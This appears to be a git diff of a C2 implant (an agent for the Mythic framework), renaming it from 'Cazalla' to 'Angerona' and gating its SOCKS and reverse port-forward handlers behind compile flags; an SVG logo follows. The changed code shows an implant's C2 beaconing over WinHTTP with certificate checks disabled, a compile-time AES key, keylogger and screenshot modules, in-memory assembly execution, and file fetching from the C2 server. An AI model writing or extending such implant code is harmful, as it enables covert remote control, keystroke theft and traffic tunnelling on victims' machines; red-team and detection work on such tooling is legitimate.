_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
|
||||||
// This command is typically handled via subtasks in Python
|
// This command is typically handled via subtasks in Python
|
||||||
// But if called directly, we'll handle it here
|
// But if called directly, we'll handle it here
|
||||||
_wrn("inline_execute_assembly should be called via subtasks");
|
_wrn("inline_execute_assembly should be called via subtasks");
|
||||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
} else {
|
}
|
||||||
|
#endif
|
||||||
|
else {
|
||||||
_wrn("Tarea desconocida: 0x%02x", tarea);
|
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||||
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
||||||
// liberar analizador si no será usado por otro handler
|
// liberar analizador si no será usado por otro handler
|
||||||
@@ -277,7 +364,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
|||||||
|
|
||||||
_dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid);
|
_dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid);
|
||||||
|
|
||||||
// === Nota: Cifrado AESPSK ya inicializado en cazallaMain() ===
|
// === Nota: Cifrado AESPSK ya inicializado en angeronaMain() ===
|
||||||
// La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
|
// La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
|
||||||
|
|
||||||
|
|
||||||
@@ -312,6 +399,7 @@ BOOL rutina() {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#ifdef ENABLE_SOCKS_CMD
|
||||||
/* ============================
|
/* ============================
|
||||||
START_SOCKS_CMD handler
|
START_SOCKS_CMD handler
|
||||||
Expected params (in this order inside the task buffer):
|
Expected params (in this order inside the task buffer):
|
||||||
@@ -403,7 +491,9 @@ static void stopSocksHandler(PAnalizador analizadorTarea) {
|
|||||||
|
|
||||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef ENABLE_RPFWD_CMD
|
||||||
/* ============================
|
/* ============================
|
||||||
START_RPFWD_CMD handler
|
START_RPFWD_CMD handler
|
||||||
Expected params (in this order inside the task buffer):
|
Expected params (in this order inside the task buffer):
|
||||||
@@ -518,3 +608,4 @@ static void stopRpfwdHandler(PAnalizador analizadorTarea) {
|
|||||||
|
|
||||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
+2
-2
@@ -1,4 +1,4 @@
|
|||||||
#include "cazalla.h"
|
#include "angerona.h"
|
||||||
#include "inline_execute.h"
|
#include "inline_execute.h"
|
||||||
#include "comandos.h"
|
#include "comandos.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
@@ -174,7 +174,7 @@ BOOL BeaconIsAdmin(void) {
|
|||||||
|
|
||||||
/*
|
/*
|
||||||
* GetFileBytesFromMythic - Fetch a file from Mythic server using file_id
|
* GetFileBytesFromMythic - Fetch a file from Mythic server using file_id
|
||||||
* Adapted from Cazalla's upload mechanism
|
* Adapted from Angerona's upload mechanism
|
||||||
*/
|
*/
|
||||||
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
|
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
|
||||||
#define CHUNK_SIZE 512000 // 512 KB
|
#define CHUNK_SIZE 512000 // 512 KB
|
||||||
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
#include "keylog.h"
|
#include "keylog.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "cazalla.h"
|
#include "angerona.h"
|
||||||
|
|
||||||
static volatile BOOL g_keylog_running = FALSE;
|
static volatile BOOL g_keylog_running = FALSE;
|
||||||
static HANDLE g_keylog_thread = NULL;
|
static HANDLE g_keylog_thread = NULL;
|
||||||
+4
-4
@@ -1,13 +1,13 @@
|
|||||||
#include "cazalla.h"
|
#include "angerona.h"
|
||||||
|
|
||||||
int main() {
|
int main() {
|
||||||
_inf("=== CAZALLA AGENT STARTING ===");
|
_inf("=== ANGERONA AGENT STARTING ===");
|
||||||
#ifdef AESPSK
|
#ifdef AESPSK
|
||||||
_inf("AESPSK: %s", AESPSK);
|
_inf("AESPSK: %s", AESPSK);
|
||||||
#endif
|
#endif
|
||||||
Sleep(2000); // Pausa 2 segundos para ver si inicia
|
Sleep(2000); // Pausa 2 segundos para ver si inicia
|
||||||
cazallaMain();
|
angeronaMain();
|
||||||
_inf("=== CAZALLA AGENT EXITING ===");
|
_inf("=== ANGERONA AGENT EXITING ===");
|
||||||
_inf("Press any key to exit...");
|
_inf("Press any key to exit...");
|
||||||
getchar();
|
getchar();
|
||||||
return 0;
|
return 0;
|
||||||
+5
-5
@@ -1,5 +1,5 @@
|
|||||||
#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration
|
#include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration
|
||||||
#include "cazalla.h"
|
#include "angerona.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
#include "rpfwd_manager.h"
|
#include "rpfwd_manager.h"
|
||||||
@@ -19,7 +19,7 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
|||||||
|
|
||||||
paquete->length = 0;
|
paquete->length = 0;
|
||||||
if (init) {
|
if (init) {
|
||||||
addString(paquete, cazallaConfig->idAgente, FALSE);
|
addString(paquete, angeronaConfig->idAgente, FALSE);
|
||||||
addByte(paquete, idComando);
|
addByte(paquete, idComando);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -304,10 +304,10 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
char uuidCheck[37] = {0};
|
char uuidCheck[37] = {0};
|
||||||
memcpy(uuidCheck, datosDecodificados, 36);
|
memcpy(uuidCheck, datosDecodificados, 36);
|
||||||
_dbg("First 36 bytes (UUID check): %s", uuidCheck);
|
_dbg("First 36 bytes (UUID check): %s", uuidCheck);
|
||||||
_dbg("Expected UUID: %s", cazallaConfig->idAgente);
|
_dbg("Expected UUID: %s", angeronaConfig->idAgente);
|
||||||
|
|
||||||
// If response starts with UUID, we need to extract it
|
// If response starts with UUID, we need to extract it
|
||||||
if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) {
|
if (strncmp(uuidCheck, angeronaConfig->idAgente, 36) == 0) {
|
||||||
_dbg("Response format: UUID + encrypted_data detected");
|
_dbg("Response format: UUID + encrypted_data detected");
|
||||||
_dbg("Extracting encrypted data (after UUID)...");
|
_dbg("Extracting encrypted data (after UUID)...");
|
||||||
|
|
||||||
+1
-1
@@ -1,5 +1,5 @@
|
|||||||
#include "screenshot.h"
|
#include "screenshot.h"
|
||||||
#include "cazalla.h"
|
#include "angerona.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "SistemadeFicheros.h"
|
#include "SistemadeFicheros.h"
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
+5
-5
@@ -1,5 +1,5 @@
|
|||||||
#include "sleep.h"
|
#include "sleep.h"
|
||||||
#include "cazalla.h"
|
#include "angerona.h"
|
||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
|
|
||||||
|
|
||||||
@@ -25,12 +25,12 @@ BOOL sleep(PAnalizador argumentos) {
|
|||||||
tiempoSleep = minVarianza;
|
tiempoSleep = minVarianza;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cazallaConfig == NULL) {
|
if (angeronaConfig == NULL) {
|
||||||
_err("Error: cazallaConfig no ha sido inicializado.\n");
|
_err("Error: angeronaConfig no ha sido inicializado.\n");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
|
_dbg("Tiempo Sleep antes: %d\n", angeronaConfig->tiempoSleep);
|
||||||
|
|
||||||
/* convertir a milisegundos */
|
/* convertir a milisegundos */
|
||||||
tiempoSleep = tiempoSleep * 1000;
|
tiempoSleep = tiempoSleep * 1000;
|
||||||
@@ -41,7 +41,7 @@ BOOL sleep(PAnalizador argumentos) {
|
|||||||
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
|
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
|
||||||
}
|
}
|
||||||
|
|
||||||
cazallaConfig->tiempoSleep = tiempoSleep;
|
angeronaConfig->tiempoSleep = tiempoSleep;
|
||||||
|
|
||||||
_dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
|
_dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
|
||||||
|
|
||||||
+1
-1
@@ -5,7 +5,7 @@
|
|||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "identity.h"
|
#include "identity.h"
|
||||||
#include "debug.h"
|
#include "debug.h"
|
||||||
#include "cazalla.h" // For context tracking functions
|
#include "angerona.h" // For context tracking functions
|
||||||
#include <tlhelp32.h>
|
#include <tlhelp32.h>
|
||||||
#include <psapi.h>
|
#include <psapi.h>
|
||||||
|
|
||||||
+15
-15
@@ -50,25 +50,25 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
|
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
|
||||||
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
|
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
|
||||||
|
|
||||||
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
|
if (angeronaConfig->proxyHabilitado && angeronaConfig->urlProxy) {
|
||||||
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||||
httpProxy = cazallaConfig->urlProxy;
|
httpProxy = angeronaConfig->urlProxy;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cazallaConfig->SSL) {
|
if (angeronaConfig->SSL) {
|
||||||
httpFlags |= WINHTTP_FLAG_SECURE;
|
httpFlags |= WINHTTP_FLAG_SECURE;
|
||||||
}
|
}
|
||||||
|
|
||||||
_dbg("WinHttpOpen()");
|
_dbg("WinHttpOpen()");
|
||||||
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
hSesion = WinHttpOpen(angeronaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
||||||
if (!hSesion) {
|
if (!hSesion) {
|
||||||
_err("WinHttpOpen falló (%lu)", GetLastError());
|
_err("WinHttpOpen falló (%lu)", GetLastError());
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
_dbg("WinHttpOpen OK");
|
_dbg("WinHttpOpen OK");
|
||||||
|
|
||||||
_dbg("WinHttpConnect() host=%ls port=%d", cazallaConfig->hostName, cazallaConfig->puertoHttp);
|
_dbg("WinHttpConnect() host=%ls port=%d", angeronaConfig->hostName, angeronaConfig->puertoHttp);
|
||||||
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
|
hConexion = WinHttpConnect(hSesion, angeronaConfig->hostName, angeronaConfig->puertoHttp, 0);
|
||||||
if (!hConexion) {
|
if (!hConexion) {
|
||||||
_err("WinHttpConnect falló (%lu)", GetLastError());
|
_err("WinHttpConnect falló (%lu)", GetLastError());
|
||||||
WinHttpCloseHandle(hSesion);
|
WinHttpCloseHandle(hSesion);
|
||||||
@@ -78,22 +78,22 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
|
|
||||||
// Log complete URL - ensure endpoint starts with /
|
// Log complete URL - ensure endpoint starts with /
|
||||||
wchar_t endpointBuf[256];
|
wchar_t endpointBuf[256];
|
||||||
if (cazallaConfig->endPoint && cazallaConfig->endPoint[0] != L'/') {
|
if (angeronaConfig->endPoint && angeronaConfig->endPoint[0] != L'/') {
|
||||||
swprintf(endpointBuf, 256, L"/%ls", cazallaConfig->endPoint);
|
swprintf(endpointBuf, 256, L"/%ls", angeronaConfig->endPoint);
|
||||||
} else {
|
} else {
|
||||||
wcsncpy(endpointBuf, cazallaConfig->endPoint ? cazallaConfig->endPoint : L"", 256);
|
wcsncpy(endpointBuf, angeronaConfig->endPoint ? angeronaConfig->endPoint : L"", 256);
|
||||||
}
|
}
|
||||||
|
|
||||||
swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls",
|
swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls",
|
||||||
cazallaConfig->SSL ? L"https" : L"http",
|
angeronaConfig->SSL ? L"https" : L"http",
|
||||||
cazallaConfig->hostName,
|
angeronaConfig->hostName,
|
||||||
cazallaConfig->puertoHttp,
|
angeronaConfig->puertoHttp,
|
||||||
endpointBuf);
|
endpointBuf);
|
||||||
_dbg("Complete URL: %ls", urlBuffer);
|
_dbg("Complete URL: %ls", urlBuffer);
|
||||||
|
|
||||||
_dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x",
|
_dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x",
|
||||||
endpointBuf, cazallaConfig->metodoHttp, httpFlags);
|
endpointBuf, angeronaConfig->metodoHttp, httpFlags);
|
||||||
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
|
hPeticion = WinHttpOpenRequest(hConexion, angeronaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
|
||||||
if (!hPeticion) {
|
if (!hPeticion) {
|
||||||
_err("WinHttpOpenRequest falló (%lu)", GetLastError());
|
_err("WinHttpOpenRequest falló (%lu)", GetLastError());
|
||||||
WinHttpCloseHandle(hConexion);
|
WinHttpCloseHandle(hConexion);
|
||||||
@@ -102,7 +102,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
}
|
}
|
||||||
_dbg("WinHttpOpenRequest OK");
|
_dbg("WinHttpOpenRequest OK");
|
||||||
|
|
||||||
if (cazallaConfig->SSL) {
|
if (angeronaConfig->SSL) {
|
||||||
_dbg("Configurando opciones SSL");
|
_dbg("Configurando opciones SSL");
|
||||||
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||||
+1
-1
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <winhttp.h>
|
#include <winhttp.h>
|
||||||
#include "cazalla.h"
|
#include "angerona.h"
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "socks_manager.h" // <— añadido
|
#include "socks_manager.h" // <— añadido
|
||||||
|
|
||||||
@@ -0,0 +1,320 @@
|
|||||||
|
<?xml version="1.0" standalone="no"?>
|
||||||
|
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
|
||||||
|
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
|
||||||
|
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="2048.000000pt" height="2048.000000pt" viewBox="0 0 2048.000000 2048.000000"
|
||||||
|
preserveAspectRatio="xMidYMid meet">
|
||||||
|
|
||||||
|
<g transform="translate(0.000000,2048.000000) scale(0.100000,-0.100000)"
|
||||||
|
fill="#000000" stroke="none">
|
||||||
|
<path d="M9945 17875 c-16 -2 -122 -9 -235 -15 -715 -39 -1408 -185 -2135
|
||||||
|
-450 -133 -49 -262 -97 -286 -108 -24 -11 -90 -41 -146 -66 -56 -25 -105 -46
|
||||||
|
-109 -46 -7 0 -321 -151 -354 -170 -8 -5 -78 -43 -155 -86 -452 -249 -925
|
||||||
|
-585 -1372 -975 -368 -321 -858 -865 -1113 -1236 -68 -99 -229 -338 -247 -368
|
||||||
|
-6 -11 -52 -85 -101 -165 -71 -116 -184 -315 -233 -410 -19 -37 -65 -128 -80
|
||||||
|
-160 -18 -36 -64 -134 -119 -255 -39 -88 -143 -345 -163 -405 -8 -25 -20 -56
|
||||||
|
-25 -70 -6 -14 -28 -74 -50 -135 -38 -105 -59 -172 -117 -370 -14 -49 -30
|
||||||
|
-101 -35 -115 -13 -35 -59 -212 -75 -290 -7 -36 -32 -153 -54 -260 -66 -316
|
||||||
|
-104 -599 -131 -985 -11 -149 -16 -857 -7 -873 3 -4 8 -65 11 -137 4 -71 9
|
||||||
|
-141 11 -155 3 -14 9 -81 15 -150 25 -288 120 -813 192 -1065 11 -38 26 -95
|
||||||
|
35 -125 8 -30 19 -63 24 -72 5 -10 9 -25 9 -34 0 -22 115 -380 157 -489 92
|
||||||
|
-236 126 -321 152 -378 16 -34 43 -96 61 -137 85 -198 294 -591 418 -790 125
|
||||||
|
-201 148 -236 244 -375 408 -587 752 -974 1289 -1452 540 -481 1201 -911 1874
|
||||||
|
-1221 383 -176 908 -367 1241 -451 418 -105 770 -170 1079 -200 61 -6 155 -15
|
||||||
|
210 -20 261 -25 602 -34 871 -22 588 25 915 68 1419 186 306 72 383 93 625
|
||||||
|
174 392 132 617 222 960 384 337 159 881 482 1139 675 42 32 94 70 116 84 39
|
||||||
|
27 310 242 435 347 213 177 550 507 765 750 266 299 570 708 800 1076 330 526
|
||||||
|
621 1169 805 1780 23 77 53 174 66 215 31 101 61 233 115 500 11 58 27 134 34
|
||||||
|
170 28 131 65 427 85 675 6 72 13 153 16 180 11 91 7 807 -5 955 -37 457 -70
|
||||||
|
693 -147 1055 -15 66 -32 149 -39 185 -23 112 -60 253 -103 390 -11 36 -36
|
||||||
|
117 -55 180 -41 138 -109 333 -118 340 -4 3 -14 28 -22 55 -17 59 -79 217
|
||||||
|
-113 293 -13 29 -24 55 -24 57 0 4 -29 68 -107 235 -76 162 -88 185 -95 188
|
||||||
|
-5 2 -8 9 -8 15 0 7 -6 23 -13 37 -88 166 -135 252 -180 327 -104 171 -190
|
||||||
|
309 -221 353 -17 25 -38 57 -46 72 -50 91 -359 503 -454 605 -21 23 -46 53
|
||||||
|
-54 65 -65 96 -522 570 -727 754 -416 374 -890 711 -1390 989 -22 12 -67 38
|
||||||
|
-100 56 -72 41 -361 181 -500 242 -243 108 -617 246 -850 314 -313 91 -352
|
||||||
|
101 -550 144 -496 107 -705 138 -1145 170 -142 10 -806 21 -865 14z m610 -380
|
||||||
|
c248 -9 644 -50 830 -85 28 -5 113 -21 190 -35 313 -58 691 -153 925 -234 145
|
||||||
|
-50 333 -116 385 -135 271 -99 784 -349 1069 -522 53 -32 114 -68 134 -79 49
|
||||||
|
-28 336 -223 420 -286 359 -269 572 -451 841 -716 197 -193 413 -433 571 -634
|
||||||
|
94 -119 180 -235 180 -243 0 -3 22 -35 50 -71 27 -36 71 -98 96 -138 26 -40
|
||||||
|
69 -104 95 -144 27 -40 49 -75 49 -77 0 -3 29 -52 64 -109 63 -102 77 -127
|
||||||
|
163 -284 41 -75 233 -461 233 -468 0 -2 13 -32 29 -67 69 -152 81 -181 81
|
||||||
|
-194 0 -8 5 -14 10 -14 6 0 10 -7 10 -15 0 -8 11 -43 24 -77 112 -287 237
|
||||||
|
-694 311 -1013 53 -228 135 -745 155 -980 6 -71 15 -168 20 -215 14 -138 5
|
||||||
|
-881 -14 -1056 -20 -188 -41 -344 -67 -494 -28 -156 -37 -211 -48 -272 -32
|
||||||
|
-178 -65 -310 -157 -628 -65 -225 -199 -596 -273 -756 -28 -61 -51 -114 -51
|
||||||
|
-118 0 -12 -239 -490 -297 -594 -68 -120 -244 -415 -253 -422 -3 -3 -46 -63
|
||||||
|
-94 -134 -99 -144 -121 -175 -244 -334 -376 -490 -778 -895 -1327 -1338 -187
|
||||||
|
-151 -637 -454 -830 -559 -38 -21 -106 -59 -150 -85 -232 -136 -700 -346
|
||||||
|
-1067 -479 -501 -181 -964 -292 -1518 -365 -272 -36 -402 -45 -714 -53 -377
|
||||||
|
-8 -674 9 -1111 67 -138 18 -559 98 -687 130 -388 98 -778 229 -1106 369 -78
|
||||||
|
34 -144 61 -146 61 -3 0 -89 41 -193 91 -172 84 -328 167 -538 287 -204 117
|
||||||
|
-623 406 -830 573 -199 160 -250 204 -415 355 -371 341 -641 640 -946 1049
|
||||||
|
-29 39 -62 82 -73 96 -88 113 -327 485 -424 659 -86 155 -238 454 -285 560
|
||||||
|
-143 323 -298 732 -355 940 -25 88 -109 412 -117 450 -5 19 -12 55 -18 80 -5
|
||||||
|
25 -19 95 -31 155 -11 61 -25 133 -30 160 -68 352 -101 737 -101 1180 0 447
|
||||||
|
23 726 96 1155 19 113 40 232 45 265 15 91 179 730 193 753 4 6 20 53 36 104
|
||||||
|
41 132 149 426 185 503 31 66 65 144 65 148 0 18 241 510 252 515 5 2 8 8 8
|
||||||
|
14 0 5 32 63 70 129 39 66 70 123 70 126 0 3 10 20 23 37 13 17 36 54 52 81
|
||||||
|
49 83 57 95 149 235 49 74 109 161 133 192 24 31 43 59 43 63 0 17 214 283
|
||||||
|
365 455 60 69 125 143 145 165 192 220 769 739 987 887 28 19 71 51 95 70 38
|
||||||
|
31 235 165 358 244 250 160 746 421 995 523 55 23 125 52 155 65 97 42 164 69
|
||||||
|
195 77 17 4 62 20 100 34 239 91 664 211 950 270 353 71 779 128 1085 145 353
|
||||||
|
19 353 19 725 5z"/>
|
||||||
|
<path d="M9725 16270 c-267 -24 -464 -54 -675 -101 -779 -173 -1408 -444
|
||||||
|
-2036 -877 -156 -108 -186 -130 -323 -240 -269 -215 -617 -556 -817 -802 -16
|
||||||
|
-19 -32 -36 -36 -38 -5 -2 -8 -10 -8 -17 0 -8 -6 -18 -13 -22 -7 -4 -44 -48
|
||||||
|
-81 -98 -38 -49 -72 -92 -76 -95 -7 -5 -105 -151 -232 -345 -36 -55 -89 -143
|
||||||
|
-118 -195 -30 -52 -56 -97 -59 -100 -18 -16 -202 -406 -295 -625 -61 -142
|
||||||
|
-180 -506 -220 -670 -30 -123 -53 -222 -59 -255 -2 -14 -14 -70 -25 -125 -79
|
||||||
|
-382 -108 -759 -98 -1245 3 -168 13 -363 21 -435 14 -126 42 -323 51 -368 2
|
||||||
|
-12 11 -56 19 -97 14 -75 20 -100 76 -330 30 -124 71 -267 89 -305 5 -11 20
|
||||||
|
-56 34 -100 33 -106 60 -178 146 -380 133 -312 297 -618 485 -905 87 -132 256
|
||||||
|
-365 280 -385 7 -5 39 -44 71 -85 208 -265 649 -702 894 -886 36 -27 72 -55
|
||||||
|
80 -62 66 -59 523 -373 568 -389 9 -4 35 -18 57 -32 110 -69 484 -260 570
|
||||||
|
-292 28 -9 91 -35 140 -57 111 -49 253 -99 410 -147 66 -20 134 -41 150 -46
|
||||||
|
40 -14 210 -58 260 -69 597 -124 779 -145 1280 -145 396 0 548 10 805 51 490
|
||||||
|
78 880 182 1273 341 62 25 130 52 152 60 62 23 427 205 555 277 290 163 641
|
||||||
|
413 916 652 412 358 776 768 1063 1197 147 220 369 618 453 812 84 196 150
|
||||||
|
363 188 480 23 72 47 134 51 139 5 6 9 19 9 30 0 11 11 54 25 96 30 92 81 300
|
||||||
|
106 435 10 55 25 136 34 180 21 109 42 273 56 435 14 155 18 695 6 880 -24
|
||||||
|
391 -124 919 -249 1325 -17 55 -34 104 -37 110 -7 13 -79 222 -93 268 -6 20
|
||||||
|
-14 37 -19 37 -5 0 -9 9 -9 20 0 11 -4 28 -10 38 -11 20 -69 150 -90 202 -27
|
||||||
|
65 -187 374 -249 478 -33 57 -61 105 -61 107 0 4 -104 164 -169 258 -25 37
|
||||||
|
-50 75 -56 83 -5 9 -18 26 -27 38 -10 11 -49 64 -88 116 -39 52 -82 107 -94
|
||||||
|
121 -13 14 -27 33 -32 41 -5 9 -39 49 -76 90 -37 40 -76 84 -87 98 -78 95
|
||||||
|
-320 339 -441 445 -30 27 -62 56 -70 64 -8 8 -82 68 -165 133 -82 64 -157 123
|
||||||
|
-165 130 -22 19 -324 228 -395 273 -156 99 -496 281 -645 344 -295 126 -300
|
||||||
|
127 -311 91 -4 -14 -21 -70 -38 -124 -17 -55 -30 -100 -28 -101 1 0 13 -6 27
|
||||||
|
-12 14 -6 86 -37 160 -68 74 -30 143 -60 153 -65 9 -6 25 -14 35 -18 70 -34
|
||||||
|
314 -163 342 -181 14 -9 34 -21 45 -28 133 -78 365 -228 375 -243 3 -3 12 -9
|
||||||
|
20 -12 22 -8 251 -189 393 -309 159 -135 241 -213 400 -384 216 -232 241 -261
|
||||||
|
388 -455 35 -47 67 -86 72 -88 4 -2 7 -8 7 -13 0 -6 17 -33 38 -62 60 -81 112
|
||||||
|
-156 112 -162 0 -5 92 -155 122 -198 53 -77 268 -507 268 -536 0 -6 5 -11 10
|
||||||
|
-11 6 0 10 -7 10 -15 0 -8 13 -42 29 -77 38 -80 141 -348 141 -365 0 -7 4 -21
|
||||||
|
10 -31 32 -56 163 -563 204 -792 132 -729 100 -1594 -84 -2280 -42 -156 -94
|
||||||
|
-333 -118 -400 -79 -220 -274 -659 -350 -787 -16 -26 -53 -91 -82 -143 -30
|
||||||
|
-52 -79 -133 -109 -180 -31 -47 -58 -90 -61 -95 -7 -15 -151 -218 -163 -230
|
||||||
|
-7 -7 -8 -5 -4 6 3 9 12 66 21 125 57 417 84 952 52 1059 -44 147 -200 265
|
||||||
|
-350 265 l-54 0 -7 48 c-10 68 -51 146 -109 206 -41 44 -64 58 -119 76 -59 19
|
||||||
|
-79 21 -145 14 -43 -4 -81 -8 -87 -9 -5 0 -18 27 -30 60 -25 73 -30 82 -77
|
||||||
|
133 -71 78 -161 117 -273 116 -70 0 -134 -25 -199 -79 -24 -19 -45 -35 -47
|
||||||
|
-35 -6 0 23 472 41 675 36 400 38 521 8 585 -9 19 -19 45 -23 57 -3 12 -22 38
|
||||||
|
-41 57 -78 78 -195 104 -297 66 -119 -45 -174 -111 -201 -242 -19 -92 -116
|
||||||
|
-789 -132 -948 -3 -36 -19 -153 -35 -260 -55 -365 -60 -395 -70 -470 -5 -41
|
||||||
|
-16 -127 -24 -190 -44 -354 -53 -402 -120 -602 -83 -250 -105 -340 -112 -459
|
||||||
|
-12 -209 50 -449 234 -919 36 -91 74 -192 85 -225 26 -76 34 -218 18 -315 -6
|
||||||
|
-41 -15 -100 -20 -130 -12 -73 -76 -364 -93 -418 -14 -47 -11 -45 -177 -112
|
||||||
|
-30 -12 -75 -30 -99 -41 -33 -15 -46 -17 -57 -8 -7 6 -55 93 -107 192 -52 100
|
||||||
|
-112 212 -135 250 -23 37 -59 95 -81 130 -95 154 -450 630 -543 729 -7 7 -28
|
||||||
|
31 -47 53 -120 142 -285 312 -515 534 -151 143 -160 154 -158 187 2 19 7 46
|
||||||
|
13 61 41 109 140 486 154 588 3 28 10 66 16 85 5 19 18 86 30 149 43 230 118
|
||||||
|
355 248 415 57 26 186 28 485 7 219 -15 359 -11 450 14 163 44 297 154 377
|
||||||
|
310 58 115 75 222 65 420 -5 114 -4 140 12 193 11 33 28 73 39 89 87 126 104
|
||||||
|
219 62 335 l-24 67 43 42 c43 41 86 119 95 173 5 32 -11 103 -42 188 -23 64
|
||||||
|
-27 124 -10 162 14 30 62 51 154 67 128 22 241 84 282 154 74 127 72 215 -11
|
||||||
|
383 -14 29 -46 96 -70 150 -25 54 -102 215 -171 358 -144 293 -187 394 -217
|
||||||
|
509 -23 85 -23 81 -18 480 2 190 0 242 -14 300 -10 39 -22 90 -27 114 -18 85
|
||||||
|
-58 238 -98 371 -23 74 -41 148 -41 165 0 17 11 47 25 68 37 54 63 119 80 201
|
||||||
|
43 206 -23 441 -172 613 -29 33 -53 64 -53 68 0 4 31 41 69 83 83 93 159 215
|
||||||
|
200 324 47 123 48 126 14 135 -60 17 -323 8 -446 -16 -65 -12 -123 -21 -128
|
||||||
|
-19 -6 2 -1 14 10 27 26 30 134 222 156 276 9 22 20 49 25 60 24 52 42 103 50
|
||||||
|
140 5 22 16 69 24 105 8 36 15 84 16 108 l0 42 -78 0 c-143 0 -393 -43 -548
|
||||||
|
-95 -124 -41 -333 -147 -420 -213 -165 -127 -301 -275 -389 -426 -7 -12 -10
|
||||||
|
38 -11 166 -1 159 -9 246 -31 322 -8 28 -80 16 -188 -32 -179 -78 -265 -133
|
||||||
|
-433 -274 -63 -53 -74 -55 -172 -32 -149 36 -421 65 -575 63 -312 -5 -507 -35
|
||||||
|
-775 -121 -245 -78 -360 -128 -600 -261 -157 -87 -404 -279 -560 -436 -108
|
||||||
|
-108 -230 -246 -230 -259 0 -4 -10 -18 -23 -32 -29 -31 -166 -237 -206 -310
|
||||||
|
-152 -271 -263 -602 -306 -903 -3 -27 -8 -58 -10 -69 -5 -25 -20 -267 -19
|
||||||
|
-293 1 -11 4 -69 8 -130 3 -60 9 -130 12 -155 9 -70 44 -233 53 -245 13 -17
|
||||||
|
21 -45 13 -45 -4 0 -23 15 -42 33 -35 32 -114 75 -181 96 -42 13 -224 15 -265
|
||||||
|
